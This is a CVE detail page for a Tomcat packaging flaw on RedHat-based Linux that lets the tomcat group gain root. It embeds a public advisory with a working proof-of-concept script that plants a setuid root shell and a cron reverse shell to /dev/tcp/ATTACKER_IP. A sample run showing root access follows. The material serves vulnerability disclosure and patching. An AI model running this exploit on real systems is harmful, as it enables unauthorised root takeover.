CVE-2016-5425 : Detail

CVE-2016-5425

7.8
/
High
A01-Broken Access Control
0.13%V3
Local
2016-10-13
12h00 +00:00
2019-10-16
15h40 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Tomcat package on Red Hat Enterprise Linux (RHEL) 7, Fedora, CentOS, Oracle Linux, and possibly other Linux distributions uses weak permissions for /usr/lib/tmpfiles.d/tomcat.conf, which allows local users to gain root privileges by leveraging membership in the tomcat group.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-276 Incorrect Default Permissions
During installation, installed file permissions are set to allow anyone to modify those files.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 40488

Publication date : 2016-10-09 22h00 +00:00
Author : Dawid Golunski
EDB Verified : No

============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-5425 - Release date: 10.10.2016 - Revision: 1 - Severity: High ============================================= I. VULNERABILITY ------------------------- Apache Tomcat (packaging on RedHat-based distros) - Root Privilege Escalation II. BACKGROUND ------------------------- "The Apache Tomcat® software is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket technologies. The Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket specifications are developed under the Java Community Process. The Apache Tomcat software is developed in an open and participatory environment and released under the Apache License version 2. The Apache Tomcat project is intended to be a collaboration of the best-of-breed developers from around the world. Apache Tomcat software powers numerous large-scale, mission-critical web applications across a diverse range of industries and organizations. Some of these users and their stories are listed on the PoweredBy wiki page. " http://tomcat.apache.org/ III. INTRODUCTION ------------------------- Apache Tomcat packages provided by default repositories of RedHat-based distributions (including CentOS, RedHat, OracleLinux, Fedora, etc.) create a tmpfiles.d configuration file with insecure permissions which allow attackers who are able to write files with tomcat user permissions (for example, through a vulnerability in web application hosted on Tomcat) to escalate their privileges from tomcat user to root and fully compromise the target system. IV. DESCRIPTION ------------------------- The vulnerability stems from the tomcat.conf file installed by default by packages on RedHat-based systems with write permissions for the tomcat group: [root@centos7 ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf -rw-rw-r--. 1 root tomcat 361 Oct 9 23:58 /usr/lib/tmpfiles.d/tomcat.conf The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. Attackers could very easily exploit the weak permissions on tomcat.conf to inject configuration that creates a rootshell or remote reverse shell that allows them to execute arbitrary commands with root privileges. Injected malicious settings would be processed whenever /usr/bin/systemd-tmpfiles gets executed. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service service as can be seen below: ---[ /usr/lib/systemd/system/systemd-tmpfiles-setup.service ]--- [...] ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev ---------------------------------------------------------------- Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. The vulnerability could potentially get exploited by remote attackers in combination with a vulnerable web application hosted on Tomcat if they managed to find a path traversal (e.g in a file upload feature) or an arbitrary file write/append vulnerability. This would allow them to append settings to /usr/lib/tmpfiles.d/tomcat.conf file and achieve code execution with root privileges without a prior local access/shell on the system. This vector could prove useful to attackers, for example if they were unable to obtain a tomcat-privileged shell/codeexec by uploading a .jsp webshell through a vulnerable file upload feature due to restrictions imposed by Tomcat security manager, or a read-only webroot etc. It is worth to note that systemd-tmpfiles does not stop on syntax errors when processing configuration files which makes exploitation easier as attackers only need to inject their payload after a new line and do not need to worry about garbage data potentially prepended by a vulnerable webapp in case of Arbitrary File Write/Append exploitation. V. PROOF OF CONCEPT EXPLOIT ------------------------- -----------[ tomcat-RH-root.sh ]--------- #!/bin/bash # Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit # CVE-2016-5425 # # Full advisory at: # http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html # # Discovered and coded by: # Dawid Golunski # http://legalhackers.com # # Tested on RedHat, CentOS, OracleLinux, Fedora systems. # # For testing purposes only. # ATTACKER_IP=127.0.0.1 ATTACKER_PORT=9090 echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *" echo -e " Discovered by Dawid Golunski\n" echo "[+] Checking vulnerability" ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat' if [ $? -ne 0 ]; then echo "Not vulnerable or tomcat installed under a different user than 'tomcat'" exit 1 fi echo -e "\n[+] Your system is vulnerable!" echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..." cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf C /usr/share/tomcat/rootsh 4770 root root - /bin/bash z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n" _eof_ echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:" cat /usr/lib/tmpfiles.d/tomcat.conf echo -e "\n[+] Payload injected! Wait for your root shell...\n" echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), the rootshell will be created in /usr/share/tomcat/rootsh. Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n" --------------[ eof ]-------------------- Example run: -bash-4.2$ rpm -qa | grep -i tomcat tomcat-7.0.54-2.el7_1.noarch -bash-4.2$ cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) -bash-4.2$ id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 -bash-4.2$ ./tomcat-RH-root.sh * Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 * Discovered by Dawid Golunski [+] Checking vulnerability -rw-rw-r--. 1 root tomcat 43 Oct 10 02:39 /usr/lib/tmpfiles.d/tomcat.conf [+] Your system is vulnerable! [+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf... [+] /usr/lib/tmpfiles.d/tomcat.conf contains: f /var/run/tomcat.pid 0644 tomcat tomcat - C /usr/share/tomcat/rootsh 4770 root root - /bin/bash z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/127.0.0.1/9090 0<&1 2>&1 & \n\n" [+] Payload injected! Wait for your root shell... Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), the rootshell will be created in /usr/share/tomcat/rootsh. Additionally, a reverse shell should get executed by crond shortly after and connect to 127.0.0.1:9090 -bash-4.2$ nc -l -p 9090 bash: no job control in this shell [root@centos7 ~]# id id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023 [root@centos7 ~]# ls -l /usr/share/tomcat/rootsh ls -l /usr/share/tomcat/rootsh -rwsrwx---. 1 root root 960392 Aug 2 12:00 /usr/share/tomcat/rootsh [root@centos7 ~]# VI. BUSINESS IMPACT ------------------------- Attackers who have gained access to tomcat user account or the ability to write files as tomcat user could escalate their privileges to root and fully compromise the affected system. As explained in section IV., the vulnerability could potentially get exploited by remote attackers in combination with certain web application vulnerabilities to achieve command execution without prior shell access. VII. SYSTEMS AFFECTED ------------------------- Multiple versions of Tomcat packages on RedHat-based systems are affected. The vulnerability was confirmed on Tomcat installed from default repositories on the following systems: - CentOS - Fedora - Oracle Linux - RedHat Refer to information provided by your distribution to obtain an exact list of vulnerable packages. Detailes provided by RedHat can be found at: https://access.redhat.com/security/cve/CVE-2016-5425 VIII. SOLUTION ------------------------- Adjust permissions on /usr/lib/tmpfiles.d/tomcat.conf file to remove write permission for the tomcat group. Alternatively, update to the latest packages provided by your distribution. Confirm the file permissions after the update. IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html The source code of the exploit (tomcat-RH-root.sh) can be downloaded from: http://legalhackers.com/exploits/tomcat-RH-root.sh CVE-2016-5425 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425 https://access.redhat.com/security/cve/CVE-2016-5425 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 10.10.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

Products Mentioned

Configuraton 0

Apache>>Tomcat >> Version -

Oracle>>Instantis_enterprisetrack >> Version 17.1

Oracle>>Instantis_enterprisetrack >> Version 17.2

Oracle>>Instantis_enterprisetrack >> Version 17.3

Oracle>>Linux >> Version 7

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.2

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_aus >> Version 7.7

Redhat>>Enterprise_linux_server_eus >> Version 7.2

Redhat>>Enterprise_linux_server_eus >> Version 7.3

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.7

Redhat>>Enterprise_linux_server_tus >> Version 7.2

Redhat>>Enterprise_linux_server_tus >> Version 7.3

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.7

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

http://www.securitytracker.com/id/1036979
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/93472
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2016/10/10/2
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2016-2046.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/40488/
Tags : exploit, x_refsource_EXPLOIT-DB